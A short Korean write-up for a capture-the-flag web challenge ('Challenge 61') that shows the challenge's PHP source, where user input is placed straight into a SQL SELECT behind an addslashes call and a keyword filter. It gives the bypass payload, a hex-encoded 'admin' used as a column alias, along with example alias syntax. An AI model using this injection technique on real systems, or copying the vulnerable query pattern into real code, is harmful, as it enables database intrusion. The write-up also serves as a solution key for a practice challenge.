Write-Up
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
$db = dbconnect();
if(!$_GET['id']) $_GET['id']="guest";
echo "<html><head><title>Challenge 61</title></head><body>";
echo "<a href=./?view_source=1>view-source</a><hr>";
$_GET['id'] = addslashes($_GET['id']);
if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
if(strlen($_GET['id'])>15) exit("Access Denied");
$result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
echo "<b>{$result['id']}</b><br>";
if($result['id'] == "admin") solve(61);
echo "</body></html>";
?>
해당 문제는 필터링과 addslashes() 함수 또한 적용된다. 그러므로 MySQL의 별칭으로 해당 문제를 해결해준다. 별칭은 아래와 같이 적용해줄 수 있다.
SELECT 0x61646D696e ABCD12345;
SELECT 0x61646D696e as 'ABCD';
SELECT 0x61646D696e `ABCD123`;
0x61646D696e는 admin의 hex 값이다. 즉 injection code는 0x61646D696e id 와 같다.
참고
http://docs.php.net/manual/en/function.addslashes.php